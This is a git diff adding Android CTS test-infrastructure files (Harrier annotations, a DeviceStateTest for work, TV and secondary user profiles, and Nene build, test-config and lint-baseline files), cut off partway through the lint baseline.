diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUser.java
new file mode 100644
index 0000000..871c57a
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUser.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import java.lang.annotation.Target;
+
+/**
+ * This annotation should not be used directly. It exists as a template for annotations which
+ * ensure that a given user type exists.
+ */
+@Target({})
+public @interface EnsureHasUser {
+    /** Whether the test app should be installed in the user. */
+    boolean installTestApp() default true;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUserAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUserAnnotation.java
new file mode 100644
index 0000000..1e6a88d
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUserAnnotation.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that an annotation is used to indicate that a given user type should exist on the device.
+ *
+ * <p>The annotation annotated with {@link EnsureHasUserAnnotation} must have the same body as
+ * {@link EnsureHasUser}.
+ */
+@Target(ElementType.ANNOTATION_TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasUserAnnotation {
+    /** The name of the user type which should be present. */
+    String value();
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/ParameterizedAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/ParameterizedAnnotation.java
new file mode 100644
index 0000000..bab40ca
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/ParameterizedAnnotation.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark a Harrier annotation as being Parameterized.
+ *
+ * <p>There will be a separate run generated for the annotated method for each
+ * {@link ParameterizedAnnotation} annotation. The test will be named methodName[paramName].
+ *
+ * <p>If any {@link ParameterizedAnnotation} annotations are applied to a test, then the basic
+ * un-parameterized test will not be run.
+ */
+@Target(ElementType.ANNOTATION_TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+@RequiresBedsteadJUnit4
+public @interface ParameterizedAnnotation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUser.java
new file mode 100644
index 0000000..b3882b1
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUser.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import java.lang.annotation.Target;
+
+/**
+ * This annotation should not be used directly. It exists as a template for annotations which
+ * ensure that a test runs on a given user type.
+ */
+@Target({})
+public @interface RequireRunOnUser {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUserAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUserAnnotation.java
new file mode 100644
index 0000000..e100416
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUserAnnotation.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that an annotation is used to indicate that a test should run on a given user type.
+ *
+ * <p>The annotation annotated with {@link RequireRunOnUserAnnotation} must have the same body as
+ * {@link RequireRunOnUser}.
+ */
+@Target(ElementType.ANNOTATION_TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireRunOnUserAnnotation {
+    /** The name of the user type which the test should be run on. */
+    String value();
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequiresBedsteadJUnit4.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequiresBedsteadJUnit4.java
new file mode 100644
index 0000000..9033b90
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequiresBedsteadJUnit4.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Indicates that an annotation requires using the {@link BedsteadJUnit4} test runner
+ */
+@Target(ElementType.ANNOTATION_TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequiresBedsteadJUnit4 {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeNone.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeNone.java
new file mode 100644
index 0000000..3ad98af
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeNone.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.parameterized;
+
+import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Parameterize a test but do not generate a run.
+ */
+@Target({ElementType.METHOD, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@ParameterizedAnnotation
+public @interface IncludeNone {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java
new file mode 100644
index 0000000..8f877eb
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.parameterized;
+
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Parameterize a test so that it runs on the same user as the device owner.
+ */
+@Target({ElementType.METHOD, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@ParameterizedAnnotation
+@RequireRunOnPrimaryUser
+// TODO(scottjonathan): Add annotations to ensure Device Owner is set
+public @interface IncludeRunOnDeviceOwnerUser {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java
new file mode 100644
index 0000000..0adbb86
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.parameterized;
+
+import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Parameterize a test so that it runs on a non-affiliated secondary user on a device with a
+ * Device Owner.
+ */
+@Target({ElementType.METHOD, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@ParameterizedAnnotation
+@RequireRunOnSecondaryUser
+// TODO(scottjonathan): Add annotations to ensure Device Owner is set
+public @interface IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
new file mode 100644
index 0000000..0b7c557
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.NO;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.COPE_PARENT;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/** Example Policy until real policies are added. */
+@EnterprisePolicy(profileOwner = COPE_PARENT, deviceOwner = NO)
+public class TestPolicy {
+}
diff --git a/common/device-side/bedstead/harrier/src/test/AndroidManifest.xml b/common/device-side/bedstead/harrier/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..d351183
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/test/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.harrier.test">
+
+    <application android:label="Harrier Tests">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.bedstead.harrier.test"
+                     android:label="Harrier Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
new file mode 100644
index 0000000..9dd78f0
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasNoTvProfile;
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasTvProfile;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireUserSupported;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.users.UserType;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public class DeviceStateTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final String TV_PROFILE_TYPE_NAME = "com.android.tv.profile";
+
+    @Test
+    @EnsureHasWorkProfile
+    public void workProfile_workProfileProvided_returnsWorkProfile() {
+        assertThat(sDeviceState.workProfile()).isNotNull();
+    }
+
+    @Test
+    @EnsureHasNoWorkProfile
+    public void workProfile_noWorkProfile_throwsException() {
+        assertThrows(IllegalStateException.class, sDeviceState::workProfile);
+    }
+
+    @Test
+    @EnsureHasNoWorkProfile
+    public void workProfile_createdWorkProfile_throwsException() {
+        try (UserReference workProfile = sTestApis.users().createUser()
+                .parent(sTestApis.users().instrumented())
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .create()) {
+            assertThrows(IllegalStateException.class, sDeviceState::workProfile);
+        }
+    }
+
+    @Test
+    @EnsureHasWorkProfile
+    public void ensureHasWorkProfileAnnotation_workProfileExists() {
+        assertThat(sTestApis.users().findProfileOfType(
+                sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME),
+                sTestApis.users().instrumented())
+        ).isNotNull();
+    }
+
+    // TODO(scottjonathan): test the installTestApp argument
+    // TODO(scottjonathan): When supported, test the forUser argument
+
+    @Test
+    @EnsureHasNoWorkProfile
+    public void ensureHasNoWorkProfileAnnotation_workProfileDoesNotExist() {
+        assertThat(sTestApis.users().findProfileOfType(
+                sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME),
+                sTestApis.users().instrumented())
+        ).isNull();
+    }
+
+    @Test
+    @EnsureHasTvProfile
+    public void tvProfile_tvProfileProvided_returnsTvProfile() {
+        assertThat(sDeviceState.tvProfile()).isNotNull();
+    }
+
+    @Test
+    @EnsureHasNoTvProfile
+    public void tvProfile_noTvProfile_throwsException() {
+        assertThrows(IllegalStateException.class, sDeviceState::tvProfile);
+    }
+
+    @Test
+    @RequireUserSupported(TV_PROFILE_TYPE_NAME)
+    @EnsureHasNoTvProfile
+    public void tvProfile_createdTvProfile_throwsException() {
+        try (UserReference tvProfile = sTestApis.users().createUser()
+                .parent(sTestApis.users().instrumented())
+                .type(sTestApis.users().supportedType(TV_PROFILE_TYPE_NAME))
+                .create()) {
+            assertThrows(IllegalStateException.class, sDeviceState::tvProfile);
+        }
+    }
+
+    @Test
+    @EnsureHasTvProfile
+    public void ensureHasTvProfileAnnotation_tvProfileExists() {
+        assertThat(sTestApis.users().findProfileOfType(
+                sTestApis.users().supportedType(TV_PROFILE_TYPE_NAME),
+                sTestApis.users().instrumented())
+        ).isNotNull();
+    }
+
+    // TODO(scottjonathan): test the installTestApp argument
+    // TODO(scottjonathan): When supported, test the forUser argument
+
+    @Test
+    @RequireUserSupported(TV_PROFILE_TYPE_NAME)
+    @EnsureHasNoTvProfile
+    public void ensureHasNoTvProfileAnnotation_tvProfileDoesNotExist() {
+        assertThat(sTestApis.users().findProfileOfType(
+                sTestApis.users().supportedType(TV_PROFILE_TYPE_NAME),
+                sTestApis.users().instrumented())
+        ).isNull();
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    public void secondaryUser_secondaryUserProvided_returnsSecondaryUser() {
+        assertThat(sDeviceState.secondaryUser()).isNotNull();
+    }
+
+    @Test
+    @EnsureHasNoSecondaryUser
+    public void secondaryUser_noSecondaryUser_throwsException() {
+        assertThrows(IllegalStateException.class, sDeviceState::secondaryUser);
+    }
+
+    @Test
+    @EnsureHasNoSecondaryUser
+    public void secondaryUser_createdSecondaryUser_throwsException() {
+        try (UserReference secondaryUser = sTestApis.users().createUser()
+                .type(sTestApis.users().supportedType(UserType.SECONDARY_USER_TYPE_NAME))
+                .create()) {
+            assertThrows(IllegalStateException.class, sDeviceState::secondaryUser);
+        }
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    public void ensureHasSecondaryUserAnnotation_secondaryUserExists() {
+        assertThat(sTestApis.users().findUserOfType(
+                sTestApis.users().supportedType(UserType.SECONDARY_USER_TYPE_NAME))
+        ).isNotNull();
+    }
+
+    // TODO(scottjonathan): test the installTestApp argument
+    // TODO(scottjonathan): Test the forUser argument
+
+    @Test
+    @EnsureHasNoSecondaryUser
+    public void ensureHasNoSecondaryUserAnnotation_secondaryUserDoesNotExist() {
+        assertThat(sTestApis.users().findUserOfType(
+                sTestApis.users().supportedType(UserType.SECONDARY_USER_TYPE_NAME))
+        ).isNull();
+    }
+}
diff --git a/common/device-side/bedstead/nene/Android.bp b/common/device-side/bedstead/nene/Android.bp
new file mode 100644
index 0000000..7abd071
--- /dev/null
+++ b/common/device-side/bedstead/nene/Android.bp
@@ -0,0 +1,49 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "Nene",
+    sdk_version: "test_current",
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+    min_sdk_version: "27"
+}
+
+android_test {
+    name: "NeneTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "TestApp",
+        "Nene",
+        "EventLib",
+        "Harrier",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "testng" // for assertThrows
+    ],
+    data: [":NeneTestApp1"],
+    manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
+
+android_test_helper_app {
+    name: "NeneTestApp1",
+    static_libs: [
+        "EventLib"
+    ],
+    manifest: "testapps/TestApp1.xml",
+    min_sdk_version: "27"
+}
diff --git a/common/device-side/bedstead/nene/AndroidTest.xml b/common/device-side/bedstead/nene/AndroidTest.xml
new file mode 100644
index 0000000..f7a5151
--- /dev/null
+++ b/common/device-side/bedstead/nene/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for Nene test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="NeneTest.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="NeneTestApp1.apk->/data/local/tmp/NeneTestApp1.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.bedstead.nene.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/TEST_MAPPING b/common/device-side/bedstead/nene/TEST_MAPPING
new file mode 100644
index 0000000..808b8b8
--- /dev/null
+++ b/common/device-side/bedstead/nene/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "postsubmit": [
+    {
+      "name": "NeneTest"
+    }
+  ]
+}
diff --git a/common/device-side/bedstead/nene/lint-baseline.xml b/common/device-side/bedstead/nene/lint-baseline.xml
new file mode 100644
index 0000000..6fe256f
--- /dev/null
+++ b/common/device-side/bedstead/nene/lint-baseline.xml
@@ -0,0 +1,114 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<issues format="5" by="lint 4.1.0" client="cli" variant="all" version="4.1.0">
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 10000 (current min is 27): `AdbUserParser31`"
+        errorLine1="            return new AdbUserParser31(testApis);"
+        errorLine2="                   ~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java"
+            line="37"
+            column="20"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level R (current min is 27): `AdbUserParser30`"
+        errorLine1="            return new AdbUserParser30(testApis);"
+        errorLine2="                   ~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java"
+            line="40"
+            column="20"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 29 (current min is 27): `android.app.UiAutomation#adoptShellPermissionIdentity`"
+        errorLine1="            ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity("
+        errorLine2="                                             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java"
+            line="196"
+            column="46"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 29 (current min is 27): `android.app.UiAutomation#dropShellPermissionIdentity`"
+        errorLine1="            ShellCommandUtils.uiAutomation().dropShellPermissionIdentity();"
+        errorLine2="                                             ~~~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java"
+            line="240"
+            column="46"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 29 (current min is 27): `android.app.UiAutomation#adoptShellPermissionIdentity`"
+        errorLine1="            ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity();"
+        errorLine2="                                             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java"
+            line="242"
+            column="46"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 29 (current min is 27): `android.app.UiAutomation#adoptShellPermissionIdentity`"
+        errorLine1="            ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity("
+        errorLine2="                                             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java"
+            line="244"
+            column="46"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 31 (current min is 27): `android.app.UiAutomation#executeShellCommandRw`"
+        errorLine1="        ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRw(command);"
+        errorLine2="                                                    ~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java"
+            line="156"
+            column="53"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level R (current min is 27): `java.util.Set#of`"
+        errorLine1="        managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.PROFILE);"
+        errorLine2="                                                      ~~">
+        <location
+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java"
+            line="213"
+            column="55"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level R (current min is 27): `java.util.Set#of`"
+        errorLine1="                Set.of(UserType.BaseType.FULL, UserType.BaseType.SYSTEM);"
+        errorLine2="                    ~~">
+        <location
+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java"
+            line="224"
+            column="21"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level R (current min is 27): `java.util.Set#of`"
+        errorLine1="        managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.FULL);"
+        errorLine2="                                                      ~~">
+        <location
